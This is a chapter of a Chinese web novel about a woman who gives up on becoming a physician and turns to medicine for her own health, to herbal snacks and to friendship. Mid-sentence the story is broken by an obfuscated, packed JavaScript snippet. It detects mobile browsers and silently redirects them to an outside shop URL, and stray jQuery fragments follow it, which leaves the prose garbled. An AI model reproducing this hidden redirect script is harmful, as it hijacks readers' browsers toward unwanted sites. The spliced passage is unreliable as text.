21. 救己

作品:《长亭·终不晚

    【本文所提及的单味药、中成药、方剂皆不做疾病参考,若有不适,请及时线下就医,切勿拖延!下方药材注解为百度百科,请勿自行食用!】


    黄芪:味甘,性微温。可补气升阳,固气益表(建议有气虚下陷的症状再行使用)


    劝慰于席尧而言不过隔靴搔痒,一连半月,她都郁郁寡欢、精神萎靡。


    念想破灭,哀莫大于心死。


    当初非要走这条路,也是想增加遇见晓晓的机会——想与人拿同样的针是一方面,另一方面,她想,既然晓晓从医已是板上钉钉的事,那她也入这行,若以后真有机缘,打听起来肯定更容易些。


    到现在,“成为一个大夫”更像是一种执念,可惜,都没有行至半途,居然就发现此路不通。


    犹如兜头的一巴掌,扇得人狼狈又迷茫。


    席尧停下手,只想撑头叹息。


    还没动作,吴薇也停下手上的活,“我怎么觉得你这几天看起来怏怏的?”


    席尧听到这话愣了一下,更想仰天长叹了,连这个最近心思不在店里的人都注意到了,看来真得调整调整,免得又气郁伤肝。


    「不能为一件事难过太久」


    她控制不住一次,这次不能再控制不住,况且,还有时间去慢慢思索。


    在心里随意安抚自己两句,她换了个轻松些的表情,幽幽道:“大概是,秋天到了,开始犯懒劲了吧。”


    吴薇没再多想,理了理滑下来的袖口,继续快速地挑拣起桌上的东西。


    她从没穿过这种样式的衣裳,席尧打量着,“新衣服?”


    吴薇一顿,眼中闪过一抹害羞,又故作无谓道:“怎么样,好看吧?”


    “很好看,你以后多穿这种敞领半臂。”看她手上不停,又道:“今天动作怎么这么迅速?”


    “早点做完早点回去嘛!”吴薇尾调轻扬。


    “哦,他来接你?”席尧似笑非笑。


    今天是重阳节,她猜测两人有约。


    “对啊,”觉得不太对,“你怎么知……”更不对了,哪句话不都表明对方说得没错么。


    吴薇索性闭嘴。


    “我都看到了……”席尧话没说完就被制止。


    吴薇挥着手,一脸紧张地转头去看廊下睡着的张如玉。


    张如玉身怀有孕,开始的时候反应很大,大夫看过说胎象不稳,让回去休养,直到孕满四个月以后她才回来。陈茂心疼,为了让她更舒服,特意放了张躺椅在库房,让她能在午间躺一躺。


    席尧知道吴薇在担心什么,道:“她听不到的。”


    她们说话声音不大,孕期的人又嗜睡,这会正是好觉的时候。


    吴薇这才转回头来,声音又低又快,“你什么时候,都看到什么了?”


    席尧一句一句,边说还边打趣,估计两人在寺里发生了什么。


    吴薇不好意思地说了那天的事,然后道:“端午那天我又遇见他了,才知道他就住我家附近,是学堂里新来的先生。”


    “后来看到过他教书,又温柔又耐心……对了,他叫赵原,是个很好的人,我说什么他都笑,还顺着我的话往下接,不会嫌我烦……”


    反正对面已经知道了,她便忍不住滔滔不绝,颠来倒去地说着这几个月的点点滴滴。


    吴薇沉浸在回忆里,绞尽脑汁地说这说那,席尧被她感染,那些乱七八糟的思绪都淡下去。


    “看来落因寺还挺灵验。”


    吴薇羞赧地一搡人,又想起什么,“不过我也想聊些他喜欢的,有空的时候你教我几首什么诗词歌赋之类的!”


    她眼神明亮。席尧应了一声。


    吴薇心情甚好,再看席尧又觉得她愁容满面,便道:“你出去走走吧,好好散一散你的懒劲。”


    后者无奈离去。


    经过药房,遇见了正要推门的李大夫。


    席尧迎上去,“您不在家休息,过来做什么?”


    前几天李大夫突病,不过他医术精湛,倒没什么大碍,只是需要多休息。


    “来看看方子。”他答道,又问:“准备出去?”


    得到肯定,李大夫点点头,“休息就该出去走走,别闷在店里多思多虑。”


    进门的时候又道:“再怎么说,有技在身,还能救己。”


    他一直惊诧于话赶话引出来的谈论把席尧打倒了,隐隐觉得“做大夫”这件事好像对她很重要,所以明里暗里劝慰多多,但说来说去也只能说到这,终归都是要自己想通才行。


    *


    席尧尽量轻快地迈步,准备去三五街。


    都想让她开心,那就别再死气沉沉了。


    路过糕点铺子,看到有人排队,想到也许久没吃过了,便走到队尾排起来。


    “您的三白糕,拿好了!”伙计语气欢快,把东西递过去。


    席尧道谢,付了钱腾开位置给身后。


    她一边走一边剥开纸包,不是刚出炉的,只带着点余温,咬一口,软软糯糯,还粘牙,很是称心。


    席尧并不多喜欢吃糕点,常来吃这家的三白糕是因为李大夫说他们家用料扎实,可以慢养脾胃,而且味道不错,不像有些药糕有一股药味。


    她又想起李大夫刚刚说的话,一瞬间,好像七窍尽通。


    李大夫病了,可以自己医自己,还能兼顾坐馆看病,她做不到后面那条,但能做前面的呀!


    就像他话里的意思,并不是非得做一个大夫给别人治病,学了医术“救己”也是一样的。


    那也是在这条路上,在这个行当里。


    殊途同归。


    席尧哭笑不得,原来想通一件事可以这么快,快到甚至不明白之前为什么会被困住。


    走出死胡同,多日的闷气一扫而光,她神彩奕奕地又咬一大口三白糕。


    里面加的糖正好,席尧一度觉得它最适合吴薇这种“苦药”人,又能作调理,又不用费心劝人吃药。


    只是也麻烦,做吃的不比熬药便宜,而且还考验手艺,如果……


    “你觉得,把药材磨粉加水调服怎么样?就像喝面粉糊糊那样。”


    “怎么想到要这样吃?”


    “想食疗忽然想到了,感觉还挺方便的样子。”


    “这倒是,不用费心费力熬药蒸煮,不过选材得更稳妥,调服总不像药膳一样好调味,一味苦药就能把整碗都毁了。”


    那就像做糕点一样,挑好入口的药材、食材不就行了。


    席尧想起那天整理完药方,后面随口和曾源的谈论,这个突然冒出来的想法当时她并没放在心上,这会才又琢磨出几分味道来。


    回去试试,说不定以后不用来买三白糕了,还多了一种能解馋的吃食——她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098855|193549||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    决定要让吴薇也尝尝。


    念头敲定,席尧边走边吃,朝三五街而去,一路上只觉阳光柔和,清风微醺,哪哪都正好。


    到了地方,她直奔拐角小摊。


    然后就挪不开眼了。


    席尧爱不释手地把玩着手上的石头,一块柱状的珊瑚玉,两指粗细,三寸有余,之前摊子上可没这么大的。


    它通体漆黑,却又不是普通的黑,迎光细看可见内里的星星点点,犹如黑夜中困着一群萤火虫,正闪闪而舞。


    这只是在日光下,不敢想象,若是夜间点上烛火……烛光可以凑得更近,那这“黑夜”就会融进夜色,那一群“萤火虫”就能背着闪光,流淌其中。


    可惜……


    已被人抢先一步纳入怀中。


    “哎呀,妹子,你说你就晚了那么一小会!”大姐不无惋惜,“那小伙子也是,眼神真好,骑着马,往这一过就看见了,挑头就要我帮他留着。”


    也未必是眼神好,东西那么漂亮,往那一放就很吸引人。


    席尧垂头,这摊子平日里不见几个人,谁想到喜欢的东西还能被同好“抢走”,她抚摸着石头舍不得放下,眼睛恨不能就粘在上面。


    见人如此,摊主道:“也不是姐姐我转不过弯来,咱们这种小摊哪有空口留东西的道理,付了钱才是真章,但那人看起来像是个贵公子,我也不好不听他的……这样,你明天再来,今天他要是不回来带走,明天就给你带回去,价钱我还再让让。”


    小摊的回头客不多,她还指着人多多再来。至于那些个贵公子,今天不来没准就忘了这茬。


    两人说定,席尧又翻看了一会其他的珊瑚玉,找到一块“烟花牌”。


    它埋在最底下,是无事牌样式,牌面上都是被侵蚀出的孔洞,几个围成一圈,错落排列,犹如烟火。


    “你还喜欢这种啊!“大姐咋舌,“我不骗你,这算是有瑕疵的,两文钱,就当给你卖个好了。”


    难怪丢在最下面,席尧麻利付钱,又不由自主地去瞟那块“黑玉”。


    她捏着新到手的牌子,正由衷希望明天再有好运,就听一个熟悉的声音响起。


    “你怎么在这?”


    席尧回头,看见曾源,他牵着马停在摊边。忽然想到了什么,她扭头回看摊主,然后从那双眼睛里得到了证实。


    真巧,同好居然还是熟人。那看来彻底没戏了。


    算了,就当“失之东隅,收之桑榆”了,她摩挲着“烟花牌”上的小洞,今天得到的已经不少了,月满则亏,水满则溢,就这样吧。


    “你常来这?“曾源收好东西,两人一块回走。


    席尧应了一声,道:“有一段时间没在店里看到你了,今天怎么在这?”


    “我来这边的茶楼看看。”


    三五街上只有一家茶楼,因为周围都是文玩铺子,逛累了正好歇脚,名气很大。


    曾源又道:“上回你跟我说‘磨粉’的事,我想还能添在茶里,做成药茶,正好这边茶楼我有认识的人,最近都在和他商议。”


    “你也在想这个,我也是。”席尧笑得欢畅,“等我回去挑一副方子练练手,看看味道怎么样。”


    曾源也凑趣几句,还说了一些朋友的建议。


    “行,我记着了,做出来以后你也来尝尝,等你药茶做好了,我也要去讨一杯。”